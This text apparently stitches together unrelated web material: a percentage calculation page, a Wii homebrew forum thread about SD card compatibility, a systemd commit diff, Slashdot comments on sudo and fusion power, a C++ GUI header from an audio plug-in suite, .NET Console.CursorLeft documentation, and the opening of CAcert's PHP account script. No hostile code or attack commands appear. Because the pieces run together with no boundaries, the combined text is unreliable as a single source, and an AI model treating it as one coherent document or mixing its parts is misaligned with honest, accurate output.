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Answers
Solutions by everydaycalculation.com
Answers.everydaycalculation.com » A is what percent of B
486 is what percent of 210?
486 of 210 is 231.43%
Steps to solve "what percent is 486 of 210?"
1. 486 of 210 can be written as:
486/210
2. To find percentage, we need to find an equivalent fraction with denominator 100. Multiply both numerator & denominator by 100
486/210 × 100/100
3. = (486 × 100/210) × 1/100 = 231.43/100
4. Therefore, the answer is 231.43%
If you are using a calculator, simply enter 486÷210×100 which will give you 231.43 as the answer.
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| 0.952709 |
Reason for picking non-sdhc sd card over an sdhc card?
Discussion in 'Wii - Hacking' started by clstirens, Mar 14, 2011.
1. clstirens
OP
Newcomer clstirens Newbie
Joined:
Sep 4, 2009
Messages:
9
Country:
United States
Hey, I'm looking through the "modify ANY wii" topic, and I notice it says you should use a non-sdhc card "preferably"
Why is this?
2. s3phir0th115
Member s3phir0th115 GBAtemp Advanced Fan
Joined:
Dec 31, 2008
Messages:
700
Country:
United States
Might be for possibly better bootmii compatiblity, if I had to guess.
If it's not that it's likely for general compatibility with something else. Some older apps won't do sdhc, but will work with plain sd.
3. tueidj
Member tueidj I R Expert
Joined:
Jan 8, 2009
Messages:
2,569
Country:
Most of the game exploits (all based on the old twilight hack loader) won't read SDHC cards.
4. clstirens
OP
Newcomer clstirens Newbie
Joined:
Sep 4, 2009
Messages:
9
Country:
United States
Thanks for the ultra-fast replies, guys. I'm ordering from amazon, and the difference between 2 and 4 GB is literally 60 cents. I didn't want to mess up anything by getting SDHC, but at that price, I figure I should ask.
5. YayMii
Member YayMii hi
Joined:
Jun 24, 2009
Messages:
4,881
Location:
that place
Country:
Canada
The older Wii software before 4.0 didn't support SDHC. So say you had a Wii with 3.2U, you were unable to hack it because you had an SDHC card and your Wii wouldn't recognize it.
Some people actually prefer 3.2 as the "best" system menu for hacks, but it doesn't support SDHC. I'm currently running 4.2U though and I see no problem with it.
6. clstirens
OP
Newcomer clstirens Newbie
Joined:
Sep 4, 2009
Messages:
9
Country:
United States
(snip)
Ordered my card, thanks guys.
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From: Zbigniew Jędrzejewski-Szmek Date: Thu, 30 May 2013 02:31:20 +0000 (-0400) Subject: man: fix display of keys which appear in two sections in directive index X-Git-Tag: v205~191 X-Git-Url: http://www.chiark.greenend.org.uk/ucgi/~ianmdlvl/git?p=elogind.git;a=commitdiff_plain;h=827f70eb764428baa397e9f3e295c470a1fd43e6 man: fix display of keys which appear in two sections in directive index When an index key appeared in multiple sections (e.g. CPUAffinity= was present in both "SYSTEM MANAGER DIRECTIVES" and "UNIT DIRECTIVES"), when lxml was used, the key would be not be displayed in all but one of those sections, and only an empty element would be present. This happens because lxml allows only one parent for each node, and when the same formatted element was used in multiple places, it was actually moved between them. Fix this by making a copy of the element. The bug was present since lxml support was introduced. Also fix some indentation issues. --- diff --git a/make-directive-index.py b/make-directive-index.py index 396947b..468d14d 100755 --- a/make-directive-index.py +++ b/make-directive-index.py @@ -21,6 +21,7 @@ import sys import collections import re from xml_helper import * +from copy import deepcopy TEMPLATE = '''\ @@ -226,19 +227,20 @@ def _make_section(template, name, directives, formatting): for varname, manpages in sorted(directives.items()): entry = tree.SubElement(varlist, 'varlistentry') term = tree.SubElement(entry, 'term') - term.append(formatting[varname]) + display = deepcopy(formatting[varname]) + term.append(display) para = tree.SubElement(tree.SubElement(entry, 'listitem'), 'para') b = None for manpage, manvolume in sorted(set(manpages)): - if b is not None: - b.tail = ', ' - b = tree.SubElement(para, 'citerefentry') - c = tree.SubElement(b, 'refentrytitle') - c.text = manpage - d = tree.SubElement(b, 'manvolnum') - d.text = manvolume + if b is not None: + b.tail = ', ' + b = tree.SubElement(para, 'citerefentry') + c = tree.SubElement(b, 'refentrytitle') + c.text = manpage + d = tree.SubElement(b, 'manvolnum') + d.text = manvolume entry.tail = '\n\n' def _make_colophon(template, groups): @@ -264,7 +266,7 @@ def _make_page(template, directive_groups, formatting): } """ for name, directives in directive_groups.items(): - _make_section(template, name, directives, formatting) + _make_section(template, name, directives, formatting) _make_colophon(template, directive_groups.values())
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Comment Re:su (Score 1) 654
The settings of what to keep and preserve are optional, set in the "/etc/sudoers" file and modified heavily by the use of "sudo -s", "sudo -s -H", and "sudo -i" command line options. I recently walked through this with someone who was surprised that their ssh-agent access was lost when they used "sudo -i -u appname". to edit files as an application owner.
Comment Sudo did this better 15 years ago (Score 0) 654
"su" was replaced for almost use by "sudo" shortly after its first release in 1999, as a lightweight thorough, and fine grained replacement. Sudo's only flaw is the ability to sanity check and reject individual "included" files from /etc/sudoers.d, which makes editing them somewhat dangerous.
Mr. Pottering is, I'm afraid, insistent on replacing the entire UNIX and Linux infrastructure with a proprietary, Linux-only, sprawling and destabilized octopus that persists in breaking stable environments and stable tools.
Comment Re:Cannot scale anyway (Score 1) 357
The article you point to is very interesting, but quite sketchy: I assume they're breeding tritium from Lithium-6? That's an exothermic reaction as well, so _in theory_ it might be sustainable and address the need for fission based sources of tritium.. But since it's not actually been demonstrated anywhere, I'll remain sceptical about its practicality and scalability. In addition, this research and most other fusion leave out the energy costs of refining the _deuterium_ fuel. That's another cost in the energy budget for fusion reactors that is often left out.
Please excuse me if I seem to be presenting moving targets by raising other efficiency and cost concerns than the original: There are so _many_ places the optimistic hopes for fusion energy break down that even if several are addressed, it doesn't resolve the other factors that limit practicality and scalability of fusion based power.
Comment Re:Cannot scale anyway (Score 1) 357
Let's take a quick back of the envelope look, without wishful optimism already in force.
The net energy of a U-235 fission event is approximately 235 MeV, That of a fusion event involving deuterium and tritium is approximately 18 MeV, less than one tenth of the energy of the energies involving a single pair of atoms. The slow neutron reaction used to generate tritium from lithium itself yields roughly 5 MeV, which might be possible to harvest. If we count atom by atom, rather than by mass, U-235 still yields roughly 10 times the energy of fission. But to produce enough tritium to harvest and actually fuel a fusion reactor, let's assume that we're recovering as much as 1/10 of the fission events as usable tritium fuel. That's a _very_ optimistic number, refining nuclear materials is quite dangerous and quite wasteful.
That means relative power output of the fusion plant, at the most optimistic 100% efficiency of the fusion plant itself, of 1% of the energy output of the fission based tritium source. Even a factor of 10 improvement in any step, or a few factors of 2 improvement at several stages, leaves the fusion plant far behind the energy production of the fission plants needed to fuel it.
Comment Re:Pointless (Score 4, Insightful) 148
> The whole reason I use Uber is to find a driver with a clean car, clean clothes, good local language, good knowledge of the city, good driving skills, sane metering device, known rates and acceptable behavior.
I've been dealing with those services in an urban are lately. Good luck with "driving skills", "local language", and "knowledge of the city". I've nothing personal against Lyft or Uber's attempts to modernize and improve cab services, but they _are_ cab services. And as their numbers grow, they're running into the same problems with more employees and less skilled drivers that the cab companies do. The "real cab companies" should have been willing to invest in this approach a decade ago when cell phones and geo-locatoin first started becoming useful about 10 years ago.
Comment Could be worse, Fesora 19, Schroding"er's Release (Score 2) 46
It could have been worse. Fedora 19 was the "Schrödinger's Cat" release, and it broke number of software installation tools . Many old scripts in bash, ruby, or perl would read "/etc/issue.net" or "/etc/fedora-release", and now had to parse the Unicode content with a single quote and two text words embedded in the text. For many old, simply written shell scripts, in particular, it broke them _very_ badly.
For many of us, Fedora 19 was known as the "Bobby Tables" release. ( https://xkcd.com/327/ )
Comment Re:Cannot scale anyway (Score 0) 357
I'm afraid that the neutrons used for generating tritium from fusion sources are the neutrons being used for power from the fusion reaction. So it's a possible _efficiency_ savings to generate tritium from low energy neutrons that are otherwise unharvested those fusion reactions, but the fusion reaction doesn't generate more neutrons for tritium creation than it actually uses up in tritium. So it cannot possibly be the primary _source_ for tritium in fusion plants.
I'm also afraid that the person who wrote that handwaving comment for that advocacy website failed to think through their ideas.
As of next Thursday, UNIX will be flushed in favor of TOPS-10. Please update your programs.
Working...
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SpherePanner.h 12.4 KB
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/*
==============================================================================
This file is part of the IEM plug-in suite.
Author: Daniel Rudrich
Copyright (c) 2017 - Institute of Electronic Music and Acoustics (IEM)
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https://iem.at
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The IEM plug-in suite is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
The IEM plug-in suite is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
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along with this software. If not, see <https://www.gnu.org/licenses/>.
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==============================================================================
*/
#pragma once
#define rcirc15 0.258819045102521
#define rcirc30 0.5
#define rcirc45 0.707106781186547
#define rcirc60 0.866025403784439
#define rcirc75 0.965925826289068
class SpherePanner : public Component
{
public:
SpherePanner() : Component() {
setBufferedToImage(true);
};
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~SpherePanner() {};
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inline Vector3D<float> yawPitchToCartesian(float yawInRad, float pitchInRad) {
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float cosPitch = cos(pitchInRad);
return Vector3D<float>(cosPitch * cos(yawInRad), cosPitch * sin(yawInRad), sin(-1.0f * pitchInRad));
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}
inline Point<float> cartesianToYawPitch(Vector3D<float> pos) {
float hypxy = sqrt(pos.x*pos.x+pos.y*pos.y);
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return Point<float>(atan2(pos.y,pos.x), atan2(hypxy,pos.z)-M_PI/2);
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}
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class Listener
{
public:
virtual ~Listener() {}
virtual void mouseWheelOnSpherePannerMoved (SpherePanner* sphere, const MouseEvent &event, const MouseWheelDetails &wheel) {};
};
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class Element
{
public:
Element() {}
Element(String newID) {ID = newID;}
~Element () {}
void setSliders(Slider* newYawSlider, Slider* newPitchSlider)
{
yawSlider = newYawSlider;
pitchSlider = newPitchSlider;
}
void moveElement (const MouseEvent &event, Point<int> centre, float radius, bool upBeforeDrag) {
//bool leftClick = event.mods.isLeftButtonDown();
Point<int> pos = event.getPosition();
float yaw = -1.0f * centre.getAngleToPoint(pos);
float r = centre.getDistanceFrom(pos)/radius;
if (r > 1.0f) {
r = 1.0f/r;
upBeforeDrag = !upBeforeDrag;
}
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float pitch = acos(r);
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if (upBeforeDrag) pitch *= -1.0f;
if (yawSlider != nullptr)
yawSlider->setValue(yaw * 180.0f / M_PI);
if (pitchSlider != nullptr)
pitchSlider->setValue(pitch * 180.0f / M_PI);
}
void setActive ( bool shouldBeActive) {
active = shouldBeActive;
}
bool isActive() { return active; }
void setColour( Colour newColour) { colour = newColour; }
void setTextColour( Colour newColour) { textColour = newColour; }
Colour getColour() { return colour; }
Colour getTextColour() { return textColour; }
bool setPosition(Vector3D<float> newPosition) // is true when position is updated (use it for repainting)
{
if (position.x != newPosition.x || position.y != newPosition.y || position.z != newPosition.z)
{
position = newPosition;
return true;
}
return false;
}
void setLabel(String newLabel) {label = newLabel;}
void setID(String newID) {ID = newID;}
void setGrabPriority(int newPriority) {grabPriority = newPriority;}
int getGrabPriority() {return grabPriority;}
void setGrabRadius(float newRadius) {grabRadius = newRadius;}
float getGrabRadius() {return grabRadius;}
Vector3D<float> getPosition() {return position;}
String getLabel() {return label;};
String getID() {return ID;};
void calcZ(bool up) {
// float rr = position.x*position.x + position.y*position.y;
// if (rr<=1.0f) position.z = sqrt(1.0f - rr);
// else position.z = 0.0f;
// if (!up) position.z *= -1.0f;
}
Slider *yawSlider = nullptr;
Slider *pitchSlider = nullptr;
private:
Vector3D<float> position;
bool active = true;
float grabRadius = 0.015f;
int grabPriority = 0;
Colour colour = Colours::white;
Colour textColour = Colours::black;
String ID = "";
String label = "";
};
void resized () override
{
const Rectangle<float> sphere(getLocalBounds().reduced(10, 10).toFloat());
radius = 0.5f * jmin(sphere.getWidth(), sphere.getHeight());
centre = getLocalBounds().getCentre();
sphereArea.setBounds(0, 0, 2*radius, 2*radius);
sphereArea.setCentre(centre.toFloat());
}
void paint (Graphics& g) override
{
const Rectangle<float> bounds = getLocalBounds().toFloat();
const float centreX = bounds.getCentreX();
const float centreY = bounds.getCentreY();
const Rectangle<float> sphere(bounds.reduced(10, 10));
g.setColour(Colours::white);
g.drawEllipse(centreX-radius, centreY - radius, 2.0f * radius, 2.0f * radius, 1.0f);
g.setFont(getLookAndFeel().getTypefaceForFont (Font(12.0f, 1)));
g.setFont(12.0f);
g.drawText("FRONT", centreX-15, centreY-radius-12, 30, 12, Justification::centred);
g.drawText("BACK", centreX-15, centreY+radius, 30, 12, Justification::centred);
//g.drawMultiLineText("LEFT", 0, centreY-12, 10);
g.drawFittedText("L\nE\nF\nT", sphereArea.getX()-10, centreY-40, 10, 80, Justification::centred, 4);
g.drawFittedText("R\nI\nG\nH\nT", sphereArea.getRight(), centreY-40, 10, 80, Justification::centred, 5);
//g.drawMultiLineText("RIGHT", bounds.getWidth()-8, centreY-12, 10);
g.setColour(Colours::steelblue.withMultipliedAlpha(0.3f));
Path circles;
float rCirc = radius*rcirc15;
circles.addEllipse(centreX - rCirc, centreY - rCirc, 2.0f * rCirc, 2.0f * rCirc);
g.fillPath(circles);
rCirc = radius*rcirc30;
circles.addEllipse(centreX - rCirc, centreY - rCirc, 2.0f * rCirc, 2.0f * rCirc);
g.fillPath(circles);
rCirc = radius*rcirc45;
circles.addEllipse(centreX - rCirc, centreY - rCirc, 2.0f * rCirc, 2.0f * rCirc);
g.fillPath(circles);
rCirc = radius*rcirc60;
circles.addEllipse(centreX - rCirc, centreY - rCirc, 2.0f * rCirc, 2.0f * rCirc);
g.fillPath(circles);
rCirc = radius*rcirc75;
circles.addEllipse(centreX - rCirc, centreY - rCirc, 2.0f * rCirc, 2.0f * rCirc);
g.fillPath(circles);
g.setColour(Colours::Colours::steelblue.withMultipliedAlpha(0.7f));
g.strokePath(circles, PathStrokeType(.5f));
ColourGradient gradient(Colours::black.withMultipliedAlpha(0.7f), centreX, centreY, Colours::black.withMultipliedAlpha(0.1f), 0, 0, true);
g.setGradientFill(gradient);
Path line;
line.startNewSubPath(centreX, centreY-radius);
line.lineTo(centreX, centreY+radius);
Path path;
path.addPath(line);
path.addPath(line, AffineTransform().rotation(0.25f*M_PI, centreX, centreY));
path.addPath(line, AffineTransform().rotation(0.5f*M_PI, centreX, centreY));
path.addPath(line, AffineTransform().rotation(0.75f*M_PI, centreX, centreY));
g.strokePath(path, PathStrokeType(0.5f));
Path panPos;
int size = elements.size();
for (int i = 0; i < size; ++i) {
Element* handle = (Element*) elements.getUnchecked (i);
float yaw;
float pitch;
if (handle->yawSlider != nullptr)
yaw = handle->yawSlider->getValue() * M_PI / 180;
else yaw = 0.0f;
if (handle->pitchSlider != nullptr)
pitch = handle->pitchSlider->getValue() * M_PI / 180;
else pitch = 0.0f;
Vector3D<float> pos = yawPitchToCartesian(yaw, pitch);
handle->setPosition(pos);
float diam = 15.0f + 4.0f * pos.z;
g.setColour(handle->isActive() ? handle->getColour() : Colours::grey);
Rectangle<float> temp(centreX-pos.y*radius-diam/2,centreY-pos.x*radius-diam/2,diam,diam);
panPos.addEllipse(temp);
g.strokePath(panPos,PathStrokeType(1.0f));
g.setColour((handle->isActive() ? handle->getColour() : Colours::grey).withMultipliedAlpha(pos.z>=-0.0f ? 1.0f : 0.4f));
g.fillPath(panPos);
g.setColour(handle->getTextColour());
g.drawFittedText(handle->getLabel(), temp.toNearestInt(), Justification::centred, 1);
panPos.clear();
}
};
void mouseWheelMove(const MouseEvent &event, const MouseWheelDetails &wheel) override {
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for (int i = listeners.size(); --i >= 0;)
listeners.getUnchecked(i)->mouseWheelOnSpherePannerMoved (this, event, wheel);
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}
void mouseMove (const MouseEvent &event) override {
int oldActiveElem = activeElem;
activeElem = -1;
const float centreX = 0.5* (float)getBounds().getWidth();
const float centreY = 0.5* (float)getBounds().getHeight();
int nElem = elements.size();
if (nElem > 0) {
Point<int> pos = event.getPosition();
float mouseX = (centreY-pos.getY())/radius;
float mouseY = (centreX-pos.getX())/radius;
float *dist = (float*) malloc(nElem*sizeof(float));
//int nGrabed = 0;
int highestPriority = -1;
float tx,ty;
for (int i = elements.size(); --i >= 0;) {
Element* handle(elements.getUnchecked (i));
Vector3D<float> pos = handle->getPosition();
tx = (mouseX - pos.x);
ty = (mouseY - pos.y);
dist[i] = tx*tx + ty*ty;
if (dist[i] <= handle->getGrabRadius()) {
if (handle->getGrabPriority() > highestPriority) {
activeElem = i;
highestPriority = handle->getGrabPriority();
}
else if (handle->getGrabPriority() == highestPriority && dist[i] < dist[activeElem]) {
activeElem = i;
}
}
}
}
if (activeElem != -1) activeElemWasUpBeforeDrag = elements.getUnchecked (activeElem)->getPosition().z >= 0.0f;
if (oldActiveElem != activeElem)
repaint();
}
void mouseDrag (const MouseEvent &event) override {
if (activeElem != -1) {
elements.getUnchecked(activeElem)->moveElement(event, centre, radius, activeElemWasUpBeforeDrag);
// sendChanges(((Element*) elements.getUnchecked (activeElem)));
repaint();
}
}
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void addListener (Listener* const listener) {
jassert (listener != nullptr);
if (listener != nullptr)
listeners.add (listener);
};
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void removeListener (Listener* const listener) {
listeners.removeFirstMatchingValue(listener);
};
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void addElement (Element* const element) {
jassert (element != nullptr);
if (element !=0)
elements.add (element);
};
void removeElement (Element* const element) {
elements.removeFirstMatchingValue(element);
};
int indexofSmallestElement(float *array, int size)
{
int index = 0;
for(int i = 1; i < size; i++)
{
if(array[i] < array[index])
index = i;
}
return index;
}
private:
float radius = 1.0f;
Rectangle<float> sphereArea;
Point<int> centre;
int activeElem;
bool activeElemWasUpBeforeDrag;
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Array<Listener*> listeners;
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Array<Element*> elements;
};
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Console.CursorLeft Property
Note: This property is new in the .NET Framework version 2.0.
Gets or sets the column position of the cursor within the buffer area.
Namespace: System
Assembly: mscorlib (in mscorlib.dll)
public static int CursorLeft { get; set; }
/** @property */
public static int get_CursorLeft ()
/** @property */
public static void set_CursorLeft (int value)
public static function get CursorLeft () : int
public static function set CursorLeft (value : int)
Property Value
The current position, in columns, of the cursor.
Exception typeCondition
ArgumentOutOfRangeException
The value in a set operation is less than zero.
-or-
The value in a set operation is greater than or equal to BufferWidth.
SecurityException
The user does not have permission to perform this action.
IOException
An I/O error occurred.
This example demonstrates the CursorLeft and CursorTop properties, and the SetCursorPosition and Clear methods. The example positions the cursor, which determines where the next write will occur, to draw a 5 character by 5 character rectangle using a combination of "+", "|", and "-" strings. Note that the rectangle could be drawn with fewer steps using a combination of other strings.
// This example demonstrates the
// Console.CursorLeft and
// Console.CursorTop properties, and the
// Console.SetCursorPosition and
// Console.Clear methods.
using System;
class Sample
{
protected static int origRow;
protected static int origCol;
protected static void WriteAt(string s, int x, int y)
{
try
{
Console.SetCursorPosition(origCol+x, origRow+y);
Console.Write(s);
}
catch (ArgumentOutOfRangeException e)
{
Console.Clear();
Console.WriteLine(e.Message);
}
}
public static void Main()
{
// Clear the screen, then save the top and left coordinates.
Console.Clear();
origRow = Console.CursorTop;
origCol = Console.CursorLeft;
// Draw the left side of a 5x5 rectangle, from top to bottom.
WriteAt("+", 0, 0);
WriteAt("|", 0, 1);
WriteAt("|", 0, 2);
WriteAt("|", 0, 3);
WriteAt("+", 0, 4);
// Draw the bottom side, from left to right.
WriteAt("-", 1, 4); // shortcut: WriteAt("---", 1, 4)
WriteAt("-", 2, 4); // ...
WriteAt("-", 3, 4); // ...
WriteAt("+", 4, 4);
// Draw the right side, from bottom to top.
WriteAt("|", 4, 3);
WriteAt("|", 4, 2);
WriteAt("|", 4, 1);
WriteAt("+", 4, 0);
// Draw the top side, from right to left.
WriteAt("-", 3, 0); // shortcut: WriteAt("---", 1, 0)
WriteAt("-", 2, 0); // ...
WriteAt("-", 1, 0); // ...
//
WriteAt("All done!", 0, 6);
Console.WriteLine();
}
}
/*
This example produces the following results:
+---+
| |
| |
| |
+---+
All done!
*/
// This example demonstrates the
// Console.CursorLeft and
// Console.CursorTop properties, and the
// Console.SetCursorPosition and
// Console.Clear methods.
import System.*;
class Sample
{
protected static int origRow;
protected static int origCol;
protected static void WriteAt(String s, int x, int y)
{
try {
Console.SetCursorPosition(origCol + x, origRow + y);
Console.Write(s);
}
catch (ArgumentOutOfRangeException e) {
Console.Clear();
Console.WriteLine(e.get_Message());
}
} //WriteAt
public static void main(String[] args)
{
// Clear the screen, then save the top and left coordinates.
Console.Clear();
origRow = Console.get_CursorTop();
origCol = Console.get_CursorLeft();
// Draw the left side of a 5x5 rectangle, from top to bottom.
WriteAt("+", 0, 0);
WriteAt("|", 0, 1);
WriteAt("|", 0, 2);
WriteAt("|", 0, 3);
WriteAt("+", 0, 4);
// Draw the bottom side, from left to right.
WriteAt("-", 1, 4); // shortcut: WriteAt("---", 1, 4)
WriteAt("-", 2, 4); // ...
WriteAt("-", 3, 4); // ...
WriteAt("+", 4, 4);
// Draw the right side, from bottom to top.
WriteAt("|", 4, 3);
WriteAt("|", 4, 2);
WriteAt("|", 4, 1);
WriteAt("+", 4, 0);
// Draw the top side, from right to left.
WriteAt("-", 3, 0); // shortcut: WriteAt("---", 1, 0)
WriteAt("-", 2, 0); // ...
WriteAt("-", 1, 0); // ...
//
WriteAt("All done!", 0, 6);
Console.WriteLine();
} //main
} //Sample
/*
This example produces the following results:
+---+
| |
| |
| |
+---+
All done!
*/
Windows 98, Windows 2000 SP4, Windows CE, Windows Millennium Edition, Windows Mobile for Pocket PC, Windows Mobile for Smartphone, Windows Server 2003, Windows XP Media Center Edition, Windows XP Professional x64 Edition, Windows XP SP2, Windows XP Starter Edition
The .NET Framework does not support all versions of every platform. For a list of the supported versions, see System Requirements.
.NET Framework
Supported in: 2.0
Community Additions
ADD
Show:
© 2015 Microsoft
|
__label__pos
| 0.950129 |
bug 569: Fixed multiple title
[cacert-devel.git] / includes / account.php
1 <? /*
2 LibreSSL - CAcert web application
3 Copyright (C) 2004-2008 CAcert Inc.
4
5 This program is free software; you can redistribute it and/or modify
6 it under the terms of the GNU General Public License as published by
7 the Free Software Foundation; version 2 of the License.
8
9 This program is distributed in the hope that it will be useful,
10 but WITHOUT ANY WARRANTY; without even the implied warranty of
11 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 GNU General Public License for more details.
13
14 You should have received a copy of the GNU General Public License
15 along with this program; if not, write to the Free Software
16 Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
17 */
18 require_once("../includes/loggedin.php");
19 require_once("../includes/lib/l10n.php");
20 require_once('lib/check_weak_key.php');
21
22 loadem("account");
23
24 $id = 0; if(array_key_exists("id",$_REQUEST)) $id=intval($_REQUEST['id']);
25 $oldid = 0; if(array_key_exists("oldid",$_REQUEST)) $oldid=intval($_REQUEST['oldid']);
26 $process = ""; if(array_key_exists("process",$_REQUEST)) $process=$_REQUEST['process'];
27
28 $cert=0; if(array_key_exists('cert',$_REQUEST)) $cert=intval($_REQUEST['cert']);
29 $orgid=0; if(array_key_exists('orgid',$_REQUEST)) $orgid=intval($_REQUEST['orgid']);
30 $memid=0; if(array_key_exists('memid',$_REQUEST)) $memid=intval($_REQUEST['memid']);
31 $domid=0; if(array_key_exists('domid',$_REQUEST)) $domid=intval($_REQUEST['domid']);
32
33
34 if(!$_SESSION['mconn'])
35 {
36 echo _("Several CAcert Services are currently unavailable. Please try again later.");
37 exit;
38 }
39
40 if ($process == _("Cancel"))
41 {
42 // General reset CANCEL process requests
43 $process = "";
44 }
45
46
47 if($id == 45 || $id == 46 || $oldid == 45 || $oldid == 46)
48 {
49 $id = 1;
50 $oldid=0;
51 }
52
53 if($process != "" && $oldid == 1)
54 {
55 $id = 1;
56 csrf_check('addemail');
57 if(strstr($_REQUEST['newemail'], "xn--") && $_SESSION['profile']['codesign'] <= 0)
58 {
59 showheader(_("My CAcert.org Account!"));
60 echo _("Due to the possibility for punycode domain exploits we currently do not allow any certificates to sign punycode domains or email addresses.");
61 showfooter();
62 exit;
63 }
64 if(trim(mysql_real_escape_string(stripslashes($_REQUEST['newemail']))) == "")
65 {
66 showheader(_("My CAcert.org Account!"));
67 printf(_("Not a valid email address. Can't continue."));
68 showfooter();
69 exit;
70 }
71 $oldid=0;
72 $_REQUEST['email'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['newemail'])));
73 $query = "select * from `email` where `email`='".$_REQUEST['email']."' and `deleted`=0";
74 $res = mysql_query($query);
75 if(mysql_num_rows($res) > 0)
76 {
77 showheader(_("My CAcert.org Account!"));
78 printf(_("The email address '%s' is already in a different account. Can't continue."), sanitizeHTML($_REQUEST['email']));
79 showfooter();
80 exit;
81 }
82 $checkemail = checkEmail($_REQUEST['newemail']);
83 if($checkemail != "OK")
84 {
85 showheader(_("My CAcert.org Account!"));
86 if (substr($checkemail, 0, 1) == "4")
87 {
88 echo "<p>"._("The mail server responsible for your domain indicated a temporary failure. This may be due to anti-SPAM measures, such as greylisting. Please try again in a few minutes.")."</p>\n";
89 } else {
90 echo "<p>"._("Email Address given was invalid, or a test connection couldn't be made to your server, or the server rejected the email address as invalid")."</p>\n";
91 }
92 echo "<p>$checkemail</p>\n";
93 showfooter();
94 exit;
95 }
96 $hash = make_hash();
97 $query = "insert into `email` set `email`='".$_REQUEST['email']."',`memid`='".$_SESSION['profile']['id']."',`created`=NOW(),`hash`='$hash'";
98 mysql_query($query);
99 $emailid = mysql_insert_id();
100
101 $body = _("Below is the link you need to open to verify your email address. Once your address is verified you will be able to start issuing certificates to your heart's content!")."\n\n";
102 $body .= "http://".$_SESSION['_config']['normalhostname']."/verify.php?type=email&emailid=$emailid&hash=$hash\n\n";
103 $body .= _("Best regards")."\n"._("CAcert.org Support!");
104
105 sendmail($_REQUEST['email'], "[CAcert.org] "._("Email Probe"), $body, "[email protected]", "", "", "CAcert Support");
106
107 showheader(_("My CAcert.org Account!"));
108 printf(_("The email address '%s' has been added to the system, however before any certificates for this can be issued you need to open the link in a browser that has been sent to your email address."), sanitizeHTML($_REQUEST['email']));
109 showfooter();
110 exit;
111 }
112
113 if(array_key_exists("makedefault",$_REQUEST) && $_REQUEST['makedefault'] != "" && $oldid == 2)
114 {
115 $id = 2;
116 $emailid = intval($_REQUEST['emailid']);
117 $query = "select * from `email` where `id`='$emailid' and `memid`='".$_SESSION['profile']['id']."' and `hash` = '' and `deleted`=0";
118 $res = mysql_query($query);
119 if(mysql_num_rows($res) <= 0)
120 {
121 showheader(_("Error!"));
122 echo _("You currently don't have access to the email address you selected, or you haven't verified it yet.");
123 showfooter();
124 exit;
125 }
126 $row = mysql_fetch_assoc($res);
127 $body = sprintf(_("Hi %s,"),$_SESSION['profile']['fname'])."\n\n";
128 $body .= _("You are receiving this email because you or someone else ".
129 "has changed the default email on your account.")."\n\n";
130
131 $body .= _("Best regards")."\n"._("CAcert.org Support!");
132
133 sendmail($_SESSION['profile']['email'], "[CAcert.org] "._("Default Account Changed"), $body,
134 "[email protected]", "", "", "CAcert Support");
135
136 $_SESSION['profile']['email'] = $row['email'];
137 $query = "update `users` set `email`='".$row['email']."' where `id`='".$_SESSION['profile']['id']."'";
138 mysql_query($query);
139 showheader(_("My CAcert.org Account!"));
140 printf(_("Your default email address has been updated to '%s'."), sanitizeHTML($row['email']));
141 showfooter();
142 exit;
143 }
144
145 if($process != "" && $oldid == 2)
146 {
147 $id = 2;
148 csrf_check("chgdef");
149 showheader(_("My CAcert.org Account!"));
150 $delcount = 0;
151 if(array_key_exists('delid',$_REQUEST) && is_array($_REQUEST['delid']))
152 {
153 $deltitle=0;
154 foreach($_REQUEST['delid'] as $id)
155 {
156 if (0==$deltitle) {
157 echo _('The following email addresses have been removed:')."<br>\n";
158 $deltitle=1;
159 }
160 $id = intval($id);
161 $query = "select * from `email` where `id`='$id' and `memid`='".intval($_SESSION['profile']['id'])."' and
162 `email`!='".$_SESSION['profile']['email']."'";
163 $res = mysql_query($query);
164 if(mysql_num_rows($res) > 0)
165 {
166 $row = mysql_fetch_assoc($res);
167 echo $row['email']."<br>\n";
168 $query = "select `emailcerts`.`id`
169 from `emaillink`,`emailcerts` where
170 `emailid`='$id' and `emaillink`.`emailcertsid`=`emailcerts`.`id` and
171 `revoked`=0 and UNIX_TIMESTAMP(`expire`)-UNIX_TIMESTAMP() > 0
172 group by `emailcerts`.`id`";
173 $dres = mysql_query($query);
174 while($drow = mysql_fetch_assoc($dres))
175 mysql_query("update `emailcerts` set `revoked`='1970-01-01 10:00:01' where `id`='".$drow['id']."'");
176
177 $query = "update `email` set `deleted`=NOW() where `id`='$id'";
178 mysql_query($query);
179 $delcount++;
180 }
181 }
182 }
183 else
184 {
185 echo _("You did not select any email accounts for removal.");
186 }
187 if(0 == $delcount)
188 {
189 echo _("You failed to select any accounts to be removed, or you attempted to remove the default account. No action was taken.");
190 }
191
192 showfooter();
193 exit;
194 }
195
196 if($process != "" && $oldid == 3)
197 {
198 if(!(array_key_exists('addid',$_REQUEST) && is_array($_REQUEST['addid'])) && $_REQUEST['SSO'] != '1')
199 {
200 showheader(_("My CAcert.org Account!"));
201 echo _("I didn't receive a valid Certificate Request, hit the back button and try again.");
202 showfooter();
203 exit;
204 }
205
206 $_SESSION['_config']['SSO'] = intval($_REQUEST['SSO']);
207
208 $_SESSION['_config']['addid'] = $_REQUEST['addid'];
209 if($_SESSION['profile']['points'] >= 50)
210 $_SESSION['_config']['incname'] = intval($_REQUEST['incname']);
211 if(array_key_exists('codesign',$_REQUEST) && $_REQUEST['codesign'] != 0 && ($_SESSION['profile']['codesign'] == 0 || $_SESSION['profile']['points'] < 100))
212 {
213 $_REQUEST['codesign'] = 0;
214 }
215 if($_SESSION['profile']['points'] >= 100 && $_SESSION['profile']['codesign'] > 0 && array_key_exists('codesign',$_REQUEST) && $_REQUEST['codesign'] == 1)
216 {
217 if($_SESSION['_config']['incname'] < 1 || $_SESSION['_config']['incname'] > 4)
218 $_SESSION['_config']['incname'] = 1;
219 }
220 if(array_key_exists('codesign',$_REQUEST) && $_REQUEST['codesign'] == 1 && $_SESSION['profile']['points'] >= 100)
221 $_SESSION['_config']['codesign'] = 1;
222 else
223 $_SESSION['_config']['codesign'] = 0;
224
225 if(array_key_exists('login',$_REQUEST) && $_REQUEST['login'] == 1)
226 $_SESSION['_config']['disablelogin'] = 0;
227 else
